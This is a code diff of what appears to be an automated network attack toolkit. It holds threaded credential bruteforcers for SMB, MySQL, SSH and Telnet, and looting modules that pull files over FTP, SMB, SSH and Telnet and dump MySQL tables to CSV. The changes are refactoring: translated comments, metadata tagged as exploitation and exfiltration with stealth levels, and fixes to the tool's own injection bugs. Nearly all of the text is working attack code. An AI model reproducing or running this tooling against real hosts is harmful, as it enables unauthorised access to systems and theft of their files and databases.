logger.info("SMBConnector initialized.") logger.info("SMBConnector initialized.")
def bruteforce_smb(self, ip, port): def bruteforce_smb(self, ip, port):
"""Lance le bruteforce SMB pour (ip, port).""" """Run SMB bruteforce for (ip, port)."""
return self.smb_bruteforce.run_bruteforce(ip, port) return self.smb_bruteforce.run_bruteforce(ip, port)
def execute(self, ip, port, row, status_key): def execute(self, ip, port, row, status_key):
"""Point d'entrée orchestrateur (retour 'success' / 'failed').""" """Orchestrator entry point. Returns 'success' or 'failed'."""
self.shared_data.bjorn_orch_status = "SMBBruteforce" self.shared_data.bjorn_orch_status = "SMBBruteforce"
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)} self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
success, results = self.bruteforce_smb(ip, port) success, results = self.bruteforce_smb(ip, port)
@@ -56,12 +64,12 @@ class SMBBruteforce:
class SMBConnector: class SMBConnector:
"""Gère les tentatives SMB, la persistance DB et le mapping IPâ†(MAC, Hostname).""" """Handles SMB attempts, DB persistence, and IP->(MAC, Hostname) mapping."""
def __init__(self, shared_data): def __init__(self, shared_data):
self.shared_data = shared_data self.shared_data = shared_data
# Wordlists inchangées # Wordlists
self.users = self._read_lines(shared_data.users_file) self.users = self._read_lines(shared_data.users_file)
self.passwords = self._read_lines(shared_data.passwords_file) self.passwords = self._read_lines(shared_data.passwords_file)
@@ -74,7 +82,7 @@ class SMBConnector:
self.queue = Queue() self.queue = Queue()
self.progress = None self.progress = None
# ---------- util fichiers ---------- # ---------- file utils ----------
@staticmethod @staticmethod
def _read_lines(path: str) -> List[str]: def _read_lines(path: str) -> List[str]:
try: try:
@@ -142,10 +150,10 @@ class SMBConnector:
def smbclient_l(self, adresse_ip: str, user: str, password: str) -> List[str]: def smbclient_l(self, adresse_ip: str, user: str, password: str) -> List[str]:
timeout = int(getattr(self.shared_data, "smb_connect_timeout_s", 6)) timeout = int(getattr(self.shared_data, "smb_connect_timeout_s", 6))
cmd = f'smbclient -L {adresse_ip} -U {user}%{password}' cmd = ['smbclient', '-L', adresse_ip, '-U', f'{user}%{password}']
process = None process = None
try: try:
process = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE) process = Popen(cmd, shell=False, stdout=PIPE, stderr=PIPE)
try: try:
stdout, stderr = process.communicate(timeout=timeout) stdout, stderr = process.communicate(timeout=timeout)
except TimeoutExpired: except TimeoutExpired:
@@ -164,7 +172,7 @@ class SMBConnector:
logger.info(f"Trying smbclient -L for {adresse_ip} with user '{user}'") logger.info(f"Trying smbclient -L for {adresse_ip} with user '{user}'")
return [] return []
except Exception as e: except Exception as e:
logger.error(f"Error executing '{cmd}': {e}") logger.error(f"Error executing smbclient -L for {adresse_ip}: {e}")
return [] return []
finally: finally:
if process: if process:
@@ -269,7 +277,7 @@ class SMBConnector:
hostname = self.hostname_for_ip(adresse_ip) or "" hostname = self.hostname_for_ip(adresse_ip) or ""
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords) dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords) + len(dict_passwords)) total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
if total_tasks == 0: if total_tasks == 0:
logger.warning("No users/passwords loaded. Abort.") logger.warning("No users/passwords loaded. Abort.")
return False, [] return False, []
@@ -339,7 +347,7 @@ class SMBConnector:
# ---------- persistence DB ---------- # ---------- persistence DB ----------
def save_results(self): def save_results(self):
# insère self.results dans creds (service='smb'), database = <share> # Insert results into creds (service='smb'), database = <share>
for mac, ip, hostname, share, user, password, port in self.results: for mac, ip, hostname, share, user, password, port in self.results:
try: try:
self.shared_data.db.insert_cred( self.shared_data.db.insert_cred(
@@ -350,7 +358,7 @@ class SMBConnector:
user=user, user=user,
password=password, password=password,
port=port, port=port,
database=share, # utilise la colonne 'database' pour distinguer les shares database=share, # uses the 'database' column to distinguish shares
extra=None extra=None
) )
except Exception as e: except Exception as e:
@@ -364,12 +372,12 @@ class SMBConnector:
self.results = [] self.results = []
def removeduplicates(self): def removeduplicates(self):
# plus nécessaire avec l'index unique; conservé pour compat. # No longer needed with unique index; kept for compat.
pass pass
if __name__ == "__main__": if __name__ == "__main__":
# Mode autonome non utilisé en prod; on laisse simple # Standalone mode, not used in prod
try: try:
sd = SharedData() sd = SharedData()
smb_bruteforce = SMBBruteforce(sd) smb_bruteforce = SMBBruteforce(sd)

View File

@@ -1,11 +1,4 @@
""" sql_bruteforce.py - Threaded MySQL credential bruteforcer with database enumeration.
sql_bruteforce.py — MySQL bruteforce (DB-backed, no CSV/JSON, no rich)
- Cibles: (ip, port) par l’orchestrateur
- IP -> (MAC, hostname) via DB.hosts
- Connexion sans DB puis SHOW DATABASES; une entrée par DB trouvée
- Succès -> DB.creds (service='sql', database=<db>)
- Conserve la logique (pymysql, queue/threads)
"""
import os import os
import pymysql import pymysql
@@ -29,11 +22,24 @@ b_parent = None
b_service = '["sql"]' b_service = '["sql"]'
b_trigger = 'on_any:["on_service:sql","on_new_port:3306"]' b_trigger = 'on_any:["on_service:sql","on_new_port:3306"]'
b_priority = 70 b_priority = 70
b_cooldown = 1800 # 30 minutes entre deux runs b_cooldown = 1800 # 30 min between runs
b_rate_limit = '3/86400' # 3 fois par jour max b_rate_limit = '3/86400' # max 3 per day
b_enabled = 1
b_action = "normal"
b_timeout = 600
b_max_retries = 2
b_stealth_level = 3
b_risk_level = "medium"
b_tags = ["bruteforce", "sql", "mysql", "credentials"]
b_category = "exploitation"
b_name = "SQL Bruteforce"
b_description = "Threaded MySQL credential bruteforcer with database enumeration."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "SQLBruteforce.png"
class SQLBruteforce: class SQLBruteforce:
"""Wrapper orchestrateur -> SQLConnector.""" """Orchestrator wrapper for SQLConnector."""
def __init__(self, shared_data): def __init__(self, shared_data):
self.shared_data = shared_data self.shared_data = shared_data
@@ -41,11 +47,11 @@ class SQLBruteforce:
logger.info("SQLConnector initialized.") logger.info("SQLConnector initialized.")
def bruteforce_sql(self, ip, port): def bruteforce_sql(self, ip, port):
"""Lance le bruteforce SQL pour (ip, port).""" """Run SQL bruteforce for (ip, port)."""
return self.sql_bruteforce.run_bruteforce(ip, port) return self.sql_bruteforce.run_bruteforce(ip, port)
def execute(self, ip, port, row, status_key): def execute(self, ip, port, row, status_key):
"""Point d'entrée orchestrateur (retour 'success' / 'failed').""" """Orchestrator entry point. Returns 'success' or 'failed'."""
self.shared_data.bjorn_orch_status = "SQLBruteforce" self.shared_data.bjorn_orch_status = "SQLBruteforce"
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)} self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
success, results = self.bruteforce_sql(ip, port) success, results = self.bruteforce_sql(ip, port)
@@ -53,12 +59,12 @@ class SQLBruteforce:
class SQLConnector: class SQLConnector:
"""Gère les tentatives SQL (MySQL), persistance DB, mapping IPâ†(MAC, Hostname).""" """Handles SQL (MySQL) attempts, DB persistence, and IP->(MAC, Hostname) mapping."""
def __init__(self, shared_data): def __init__(self, shared_data):
self.shared_data = shared_data self.shared_data = shared_data
# Wordlists inchangées # Wordlists
self.users = self._read_lines(shared_data.users_file) self.users = self._read_lines(shared_data.users_file)
self.passwords = self._read_lines(shared_data.passwords_file) self.passwords = self._read_lines(shared_data.passwords_file)
@@ -71,7 +77,7 @@ class SQLConnector:
self.queue = Queue() self.queue = Queue()
self.progress = None self.progress = None
# ---------- util fichiers ---------- # ---------- file utils ----------
@staticmethod @staticmethod
def _read_lines(path: str) -> List[str]: def _read_lines(path: str) -> List[str]:
try: try:
@@ -115,7 +121,7 @@ class SQLConnector:
# ---------- SQL ---------- # ---------- SQL ----------
def sql_connect(self, adresse_ip: str, user: str, password: str, port: int = 3306): def sql_connect(self, adresse_ip: str, user: str, password: str, port: int = 3306):
""" """
Connexion sans DB puis SHOW DATABASES; retourne (True, [dbs]) ou (False, []). Connect without DB then SHOW DATABASES. Returns (True, [dbs]) or (False, []).
""" """
timeout = int(getattr(self.shared_data, "sql_connect_timeout_s", 6)) timeout = int(getattr(self.shared_data, "sql_connect_timeout_s", 6))
try: try:
@@ -188,7 +194,7 @@ class SQLConnector:
logger.info("Orchestrator exit signal received, stopping worker thread.") logger.info("Orchestrator exit signal received, stopping worker thread.")
break break
adresse_ip, user, password, port = self.queue.get() adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
try: try:
success, databases = self.sql_connect(adresse_ip, user, password, port=port) success, databases = self.sql_connect(adresse_ip, user, password, port=port)
if success: if success:
@@ -213,6 +219,8 @@ class SQLConnector:
def run_bruteforce(self, adresse_ip: str, port: int): def run_bruteforce(self, adresse_ip: str, port: int):
self.results = [] self.results = []
mac_address = self.mac_for_ip(adresse_ip)
hostname = self.hostname_for_ip(adresse_ip) or ""
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords) dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords)) total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
if total_tasks == 0: if total_tasks == 0:
@@ -232,7 +240,7 @@ class SQLConnector:
if self.shared_data.orchestrator_should_exit: if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.") logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
return return
self.queue.put((adresse_ip, user, password, port)) self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
threads = [] threads = []
thread_count = min(8, max(1, phase_tasks)) thread_count = min(8, max(1, phase_tasks))
@@ -261,7 +269,7 @@ class SQLConnector:
# ---------- persistence DB ---------- # ---------- persistence DB ----------
def save_results(self): def save_results(self):
# pour chaque DB trouvée, créer/mettre à jour une ligne dans creds (service='sql', database=<dbname>) # For each DB found, create/update a row in creds (service='sql', database=<dbname>)
for ip, user, password, port, dbname in self.results: for ip, user, password, port, dbname in self.results:
mac = self.mac_for_ip(ip) mac = self.mac_for_ip(ip)
hostname = self.hostname_for_ip(ip) or "" hostname = self.hostname_for_ip(ip) or ""
@@ -288,7 +296,7 @@ class SQLConnector:
self.results = [] self.results = []
def remove_duplicates(self): def remove_duplicates(self):
# inutile avec l’index unique; conservé pour compat. # No longer needed with unique index; kept for compat.
pass pass

View File

@@ -1,15 +1,4 @@
""" """ssh_bruteforce.py - Threaded SSH credential bruteforcer via paramiko."""
ssh_bruteforce.py - This script performs a brute force attack on SSH services (port 22)
to find accessible accounts using various user credentials. It logs the results of
successful connections.
SQL version (minimal changes):
- Targets still provided by the orchestrator (ip + port)
- IP -> (MAC, hostname) mapping read from DB 'hosts'
- Successes saved into DB.creds (service='ssh') with robust fallback upsert
- Action status recorded in DB.action_results (via SSHBruteforce.execute)
- Paramiko noise silenced; ssh.connect avoids agent/keys to reduce hangs
"""
import os import os
import paramiko import paramiko
@@ -24,7 +13,6 @@ from shared import SharedData
from actions.bruteforce_common import ProgressTracker, merged_password_plan from actions.bruteforce_common import ProgressTracker, merged_password_plan
from logger import Logger from logger import Logger
# Configure the logger
logger = Logger(name="ssh_bruteforce.py", level=logging.DEBUG) logger = Logger(name="ssh_bruteforce.py", level=logging.DEBUG)
# Silence Paramiko internals # Silence Paramiko internals
@@ -32,7 +20,6 @@ for _name in ("paramiko", "paramiko.transport", "paramiko.client", "paramiko.hos
"paramiko.kex", "paramiko.auth_handler"): "paramiko.kex", "paramiko.auth_handler"):
logging.getLogger(_name).setLevel(logging.CRITICAL) logging.getLogger(_name).setLevel(logging.CRITICAL)
# Define the necessary global variables
b_class = "SSHBruteforce" b_class = "SSHBruteforce"
b_module = "ssh_bruteforce" b_module = "ssh_bruteforce"
b_status = "brute_force_ssh" b_status = "brute_force_ssh"
@@ -40,9 +27,22 @@ b_port = 22
b_service = '["ssh"]' b_service = '["ssh"]'
b_trigger = 'on_any:["on_service:ssh","on_new_port:22"]' b_trigger = 'on_any:["on_service:ssh","on_new_port:22"]'
b_parent = None b_parent = None
b_priority = 70 # tu peux ajuster la priorité si besoin b_priority = 70
b_cooldown = 1800 # 30 minutes entre deux runs b_cooldown = 1800 # 30 min between runs
b_rate_limit = '3/86400' # 3 fois par jour max b_rate_limit = '3/86400' # max 3 per day
b_enabled = 1
b_action = "normal"
b_timeout = 600
b_max_retries = 2
b_stealth_level = 3
b_risk_level = "medium"
b_tags = ["bruteforce", "ssh", "credentials"]
b_category = "exploitation"
b_name = "SSH Bruteforce"
b_description = "Threaded SSH credential bruteforcer via paramiko with dictionary and exhaustive modes."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "SSHBruteforce.png"
class SSHBruteforce: class SSHBruteforce:
@@ -298,6 +298,19 @@ class SSHConnector:
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True) t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
t.start() t.start()
threads.append(t) threads.append(t)
# Drain queue if orchestrator exit is requested, to unblock join
while not self.queue.empty():
if self.shared_data.orchestrator_should_exit:
# Discard remaining items so workers can finish
while not self.queue.empty():
try:
self.queue.get_nowait()
self.queue.task_done()
except Exception:
break
break
time.sleep(0.5)
self.queue.join() self.queue.join()
for t in threads: for t in threads:
t.join() t.join()

View File

@@ -1,13 +1,4 @@
""" """steal_data_sql.py - Exfiltrate MySQL databases as CSV after successful bruteforce."""
steal_data_sql.py — SQL data looter (DB-backed)
SQL mode:
- Orchestrator provides (ip, port) after parent success (SQLBruteforce).
- DB.creds (service='sql') provides (user,password, database?).
- We connect first without DB to enumerate tables (excluding system schemas),
then connect per schema to export CSVs.
- Output under: {data_stolen_dir}/sql/{mac}_{ip}/{schema}/{schema_table}.csv
"""
import os import os
import logging import logging
@@ -41,6 +32,12 @@ b_risk_level = "high" # 'low' | 'medium' | 'high'
b_enabled = 1 # set to 0 to disable from DB sync b_enabled = 1 # set to 0 to disable from DB sync
# Tags (free taxonomy, JSON-ified by sync_actions) # Tags (free taxonomy, JSON-ified by sync_actions)
b_tags = ["exfil", "sql", "loot", "db", "mysql"] b_tags = ["exfil", "sql", "loot", "db", "mysql"]
b_category = "exfiltration"
b_name = "Steal Data SQL"
b_description = "Exfiltrate MySQL databases as CSV after successful credential bruteforce."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "StealDataSQL.png"
class StealDataSQL: class StealDataSQL:
def __init__(self, shared_data: SharedData): def __init__(self, shared_data: SharedData):
@@ -169,6 +166,11 @@ class StealDataSQL:
logger.info("Data steal interrupted.") logger.info("Data steal interrupted.")
return return
# Validate identifiers to prevent SQL injection
import re as _re
if not _re.match(r'^[a-zA-Z0-9_]+$', schema) or not _re.match(r'^[a-zA-Z0-9_]+$', table):
logger.warning(f"Skipping unsafe schema/table name: {schema}.{table}")
return
q = text(f"SELECT * FROM `{schema}`.`{table}`") q = text(f"SELECT * FROM `{schema}`.`{table}`")
with engine.connect() as conn: with engine.connect() as conn:
result = conn.execute(q) result = conn.execute(q)
@@ -192,6 +194,8 @@ class StealDataSQL:
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str: def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
try: try:
self.shared_data.bjorn_orch_status = b_class self.shared_data.bjorn_orch_status = b_class
# EPD live status
self.shared_data.comment_params = {"ip": ip, "port": str(port), "databases": "0", "tables": "0"}
try: try:
port_i = int(port) port_i = int(port)
except Exception: except Exception:
@@ -250,3 +254,6 @@ class StealDataSQL:
except Exception as e: except Exception as e:
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}") logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
return 'failed' return 'failed'
finally:
self.shared_data.bjorn_progress = ""
self.shared_data.comment_params = {}

View File

@@ -1,12 +1,4 @@
""" """steal_files_ftp.py - Loot files from FTP servers using cracked or anonymous credentials."""
steal_files_ftp.py — FTP file looter (DB-backed)
SQL mode:
- Orchestrator provides (ip, port) after parent success (FTPBruteforce).
- FTP credentials are read from DB.creds (service='ftp'); anonymous is also tried.
- IP -> (MAC, hostname) via DB.hosts.
- Loot saved under: {data_stolen_dir}/ftp/{mac}_{ip}/(anonymous|<username>)/...
"""
import os import os
import logging import logging
@@ -26,6 +18,24 @@ b_module = "steal_files_ftp"
b_status = "steal_files_ftp" b_status = "steal_files_ftp"
b_parent = "FTPBruteforce" b_parent = "FTPBruteforce"
b_port = 21 b_port = 21
b_enabled = 1
b_action = "normal"
b_service = '["ftp"]'
b_trigger = 'on_any:["on_cred_found:ftp","on_service:ftp"]'
b_requires = '{"all":[{"has_cred":"ftp"},{"has_port":21}]}'
b_priority = 60
b_cooldown = 3600
b_timeout = 600
b_stealth_level = 5
b_risk_level = "high"
b_max_retries = 1
b_tags = ["exfil", "ftp", "loot", "files"]
b_category = "exfiltration"
b_name = "Steal Files FTP"
b_description = "Loot files from FTP servers using cracked or anonymous credentials."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "StealFilesFTP.png"
class StealFilesFTP: class StealFilesFTP:
@@ -108,7 +118,7 @@ class StealFilesFTP:
return out return out
# -------- FTP helpers -------- # -------- FTP helpers --------
# Max file size to download (10 MB) protects RPi Zero RAM # Max file size to download (10 MB) - protects RPi Zero RAM
_MAX_FILE_SIZE = 10 * 1024 * 1024 _MAX_FILE_SIZE = 10 * 1024 * 1024
# Max recursion depth for directory traversal (avoids symlink loops) # Max recursion depth for directory traversal (avoids symlink loops)
_MAX_DEPTH = 5 _MAX_DEPTH = 5
@@ -180,6 +190,8 @@ class StealFilesFTP:
timer = None timer = None
try: try:
self.shared_data.bjorn_orch_status = b_class self.shared_data.bjorn_orch_status = b_class
# EPD live status
self.shared_data.comment_params = {"ip": ip, "port": str(port), "files": "0"}
try: try:
port_i = int(port) port_i = int(port)
except Exception: except Exception:
@@ -268,5 +280,6 @@ class StealFilesFTP:
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}") logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
return 'failed' return 'failed'
finally: finally:
self.shared_data.bjorn_progress = ""
if timer: if timer:
timer.cancel() timer.cancel()

View File

@@ -1,12 +1,4 @@
""" """steal_files_smb.py - Loot files from SMB shares using cracked or anonymous credentials."""
steal_files_smb.py — SMB file looter (DB-backed).
SQL mode:
- Orchestrator provides (ip, port) after parent success (SMBBruteforce).
- DB.creds (service='smb') provides credentials; 'database' column stores share name.
- Also try anonymous (''/'').
- Output under: {data_stolen_dir}/smb/{mac}_{ip}/{share}/...
"""
import os import os
import logging import logging
@@ -25,6 +17,24 @@ b_module = "steal_files_smb"
b_status = "steal_files_smb" b_status = "steal_files_smb"
b_parent = "SMBBruteforce" b_parent = "SMBBruteforce"
b_port = 445 b_port = 445
b_enabled = 1
b_action = "normal"
b_service = '["smb"]'
b_trigger = 'on_any:["on_cred_found:smb","on_service:smb"]'
b_requires = '{"all":[{"has_cred":"smb"},{"has_port":445}]}'
b_priority = 60
b_cooldown = 3600
b_timeout = 600
b_stealth_level = 5
b_risk_level = "high"
b_max_retries = 1
b_tags = ["exfil", "smb", "loot", "files"]
b_category = "exfiltration"
b_name = "Steal Files SMB"
b_description = "Loot files from SMB shares using cracked or anonymous credentials."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "StealFilesSMB.png"
class StealFilesSMB: class StealFilesSMB:
@@ -166,6 +176,8 @@ class StealFilesSMB:
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str: def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
try: try:
self.shared_data.bjorn_orch_status = b_class self.shared_data.bjorn_orch_status = b_class
# EPD live status
self.shared_data.comment_params = {"ip": ip, "port": str(port), "share": "?", "files": "0"}
try: try:
port_i = int(port) port_i = int(port)
except Exception: except Exception:
@@ -250,3 +262,6 @@ class StealFilesSMB:
except Exception as e: except Exception as e:
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}") logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
return 'failed' return 'failed'
finally:
self.shared_data.bjorn_progress = ""
self.shared_data.comment_params = {}

View File

@@ -1,23 +1,11 @@
""" """steal_files_ssh.py - Loot files over SSH/SFTP using cracked credentials."""
steal_files_ssh.py — SSH file looter (DB-backed)
SQL mode:
- Orchestrator provides (ip, port) and ensures parent action success (SSHBruteforce).
- SSH credentials are read from the DB table `creds` (service='ssh').
- IP -> (MAC, hostname) mapping is read from the DB table `hosts`.
- Looted files are saved under: {shared_data.data_stolen_dir}/ssh/{mac}_{ip}/...
- Paramiko logs are silenced to avoid noisy banners/tracebacks.
Parent gate:
- Orchestrator enforces parent success (b_parent='SSHBruteforce').
- This action runs once per eligible target (alive, open port, parent OK).
"""
import os import os
import shlex
import time import time
import logging import logging
import paramiko import paramiko
from threading import Timer from threading import Timer, Lock
from typing import List, Tuple, Dict, Optional from typing import List, Tuple, Dict, Optional
from shared import SharedData from shared import SharedData
@@ -35,7 +23,7 @@ b_module = "steal_files_ssh" # Python module name (this file without
b_status = "steal_files_ssh" # Human/readable status key (free form) b_status = "steal_files_ssh" # Human/readable status key (free form)
b_action = "normal" # 'normal' (per-host) or 'global' b_action = "normal" # 'normal' (per-host) or 'global'
b_service = ["ssh"] # Services this action is about (JSON-ified by sync_actions) b_service = '["ssh"]' # Services this action is about (JSON string for AST parser)
b_port = 22 # Preferred target port (used if present on host) b_port = 22 # Preferred target port (used if present on host)
# Trigger strategy: # Trigger strategy:
@@ -61,6 +49,13 @@ b_rate_limit = "3/86400" # at most 3 executions/day per host (ext
b_stealth_level = 6 # 1..10 (higher = more stealthy) b_stealth_level = 6 # 1..10 (higher = more stealthy)
b_risk_level = "high" # 'low' | 'medium' | 'high' b_risk_level = "high" # 'low' | 'medium' | 'high'
b_enabled = 1 # set to 0 to disable from DB sync b_enabled = 1 # set to 0 to disable from DB sync
b_tags = ["exfil", "ssh", "sftp", "loot", "files"]
b_category = "exfiltration"
b_name = "Steal Files SSH"
b_description = "Loot files over SSH/SFTP using cracked credentials."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "StealFilesSSH.png"
# Tags (free taxonomy, JSON-ified by sync_actions) # Tags (free taxonomy, JSON-ified by sync_actions)
b_tags = ["exfil", "ssh", "loot"] b_tags = ["exfil", "ssh", "loot"]
@@ -71,6 +66,7 @@ class StealFilesSSH:
def __init__(self, shared_data: SharedData): def __init__(self, shared_data: SharedData):
"""Init: store shared_data, flags, and build an IP->(MAC, hostname) cache.""" """Init: store shared_data, flags, and build an IP->(MAC, hostname) cache."""
self.shared_data = shared_data self.shared_data = shared_data
self._state_lock = Lock() # protects sftp_connected / stop_execution
self.sftp_connected = False # flipped to True on first SFTP open self.sftp_connected = False # flipped to True on first SFTP open
self.stop_execution = False # global kill switch (timer / orchestrator exit) self.stop_execution = False # global kill switch (timer / orchestrator exit)
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {} self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
@@ -194,8 +190,8 @@ class StealFilesSSH:
- shared_data.steal_file_names (substring match) - shared_data.steal_file_names (substring match)
Uses `find <dir> -type f 2>/dev/null` to keep it quiet. Uses `find <dir> -type f 2>/dev/null` to keep it quiet.
""" """
# Quiet 'permission denied' messages via redirection # Quiet 'permission denied' messages via redirection; escape dir_path to prevent injection
cmd = f'find {dir_path} -type f 2>/dev/null' cmd = f'find {shlex.quote(dir_path)} -type f 2>/dev/null'
stdin, stdout, stderr = ssh.exec_command(cmd) stdin, stdout, stderr = ssh.exec_command(cmd)
files = (stdout.read().decode(errors="ignore") or "").splitlines() files = (stdout.read().decode(errors="ignore") or "").splitlines()
@@ -203,7 +199,7 @@ class StealFilesSSH:
names = set(self.shared_data.steal_file_names or []) names = set(self.shared_data.steal_file_names or [])
if not exts and not names: if not exts and not names:
# If no filters are defined, do nothing (too risky to pull everything). # If no filters are defined, do nothing (too risky to pull everything).
logger.warning("No steal_file_extensions / steal_file_names configured skipping.") logger.warning("No steal_file_extensions / steal_file_names configured - skipping.")
return [] return []
matches: List[str] = [] matches: List[str] = []
@@ -218,7 +214,7 @@ class StealFilesSSH:
logger.info(f"Found {len(matches)} matching files in {dir_path}") logger.info(f"Found {len(matches)} matching files in {dir_path}")
return matches return matches
# Max file size to download (10 MB) protects RPi Zero RAM # Max file size to download (10 MB) - protects RPi Zero RAM
_MAX_FILE_SIZE = 10 * 1024 * 1024 _MAX_FILE_SIZE = 10 * 1024 * 1024
def steal_file(self, ssh: paramiko.SSHClient, remote_file: str, local_dir: str) -> None: def steal_file(self, ssh: paramiko.SSHClient, remote_file: str, local_dir: str) -> None:
@@ -227,6 +223,7 @@ class StealFilesSSH:
Skips files larger than _MAX_FILE_SIZE to protect RPi Zero memory. Skips files larger than _MAX_FILE_SIZE to protect RPi Zero memory.
""" """
sftp = ssh.open_sftp() sftp = ssh.open_sftp()
with self._state_lock:
self.sftp_connected = True # first time we open SFTP, mark as connected self.sftp_connected = True # first time we open SFTP, mark as connected
try: try:
@@ -235,7 +232,7 @@ class StealFilesSSH:
st = sftp.stat(remote_file) st = sftp.stat(remote_file)
if st.st_size and st.st_size > self._MAX_FILE_SIZE: if st.st_size and st.st_size > self._MAX_FILE_SIZE:
logger.info(f"Skipping {remote_file} ({st.st_size} bytes > {self._MAX_FILE_SIZE} limit)") logger.info(f"Skipping {remote_file} ({st.st_size} bytes > {self._MAX_FILE_SIZE} limit)")
return return # finally block still runs and closes sftp
except Exception: except Exception:
pass # stat failed, try download anyway pass # stat failed, try download anyway
@@ -245,6 +242,14 @@ class StealFilesSSH:
os.makedirs(local_file_dir, exist_ok=True) os.makedirs(local_file_dir, exist_ok=True)
local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file)) local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file))
# Path traversal guard: ensure we stay within local_dir
abs_local = os.path.realpath(local_file_path)
abs_base = os.path.realpath(local_dir)
if not abs_local.startswith(abs_base + os.sep) and abs_local != abs_base:
logger.warning(f"Path traversal blocked: {remote_file} -> {abs_local}")
return
sftp.get(remote_file, local_file_path) sftp.get(remote_file, local_file_path)
logger.success(f"Downloaded: {remote_file} -> {local_file_path}") logger.success(f"Downloaded: {remote_file} -> {local_file_path}")
@@ -286,6 +291,7 @@ class StealFilesSSH:
# Define a timer: if we never establish SFTP in 4 minutes, abort # Define a timer: if we never establish SFTP in 4 minutes, abort
def _timeout(): def _timeout():
with self._state_lock:
if not self.sftp_connected: if not self.sftp_connected:
logger.error(f"No SFTP connection established within 4 minutes for {ip}. Marking as failed.") logger.error(f"No SFTP connection established within 4 minutes for {ip}. Marking as failed.")
self.stop_execution = True self.stop_execution = True

View File

@@ -1,12 +1,4 @@
""" """steal_files_telnet.py - Loot files over Telnet using cracked credentials."""
steal_files_telnet.py — Telnet file looter (DB-backed)
SQL mode:
- Orchestrator provides (ip, port) after parent success (TelnetBruteforce).
- Credentials read from DB.creds (service='telnet'); we try each pair.
- Files found via 'find / -type f', then retrieved with 'cat'.
- Output under: {data_stolen_dir}/telnet/{mac}_{ip}/...
"""
import os import os
import telnetlib import telnetlib
@@ -25,6 +17,24 @@ b_module = "steal_files_telnet"
b_status = "steal_files_telnet" b_status = "steal_files_telnet"
b_parent = "TelnetBruteforce" b_parent = "TelnetBruteforce"
b_port = 23 b_port = 23
b_enabled = 1
b_action = "normal"
b_service = '["telnet"]'
b_trigger = 'on_any:["on_cred_found:telnet","on_service:telnet"]'
b_requires = '{"all":[{"has_cred":"telnet"},{"has_port":23}]}'
b_priority = 60
b_cooldown = 3600
b_timeout = 600
b_stealth_level = 5
b_risk_level = "high"
b_max_retries = 1
b_tags = ["exfil", "telnet", "loot", "files"]
b_category = "exfiltration"
b_name = "Steal Files Telnet"
b_description = "Loot files over Telnet using cracked credentials."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "StealFilesTelnet.png"
class StealFilesTelnet: class StealFilesTelnet:
@@ -110,7 +120,7 @@ class StealFilesTelnet:
if password: if password:
tn.read_until(b"Password: ", timeout=5) tn.read_until(b"Password: ", timeout=5)
tn.write(password.encode('ascii') + b"\n") tn.write(password.encode('ascii') + b"\n")
# prompt detection (naïf mais identique à l'original) # Naive prompt detection (matches original behavior)
time.sleep(2) time.sleep(2)
self.telnet_connected = True self.telnet_connected = True
logger.info(f"Connected to {ip} via Telnet as {username}") logger.info(f"Connected to {ip} via Telnet as {username}")
@@ -159,7 +169,9 @@ class StealFilesTelnet:
# -------- Orchestrator entry -------- # -------- Orchestrator entry --------
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str: def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
try: try:
self.shared_data.bjorn_orch_status = b_class self.shared_data.bjorn_orch_status = "StealFilesTelnet"
# EPD live status
self.shared_data.comment_params = {"ip": ip, "port": str(port), "files": "0"}
try: try:
port_i = int(port) port_i = int(port)
except Exception: except Exception:
@@ -216,3 +228,6 @@ class StealFilesTelnet:
except Exception as e: except Exception as e:
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}") logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
return 'failed' return 'failed'
finally:
self.shared_data.bjorn_progress = ""
self.shared_data.comment_params = {}

View File

@@ -1,10 +1,4 @@
""" telnet_bruteforce.py - Threaded Telnet credential bruteforcer.
telnet_bruteforce.py — Telnet bruteforce (DB-backed, no CSV/JSON, no rich)
- Cibles: (ip, port) par l’orchestrateur
- IP -> (MAC, hostname) via DB.hosts
- Succès -> DB.creds (service='telnet')
- Conserve la logique d’origine (telnetlib, queue/threads)
"""
import os import os
import telnetlib import telnetlib
@@ -28,11 +22,24 @@ b_parent = None
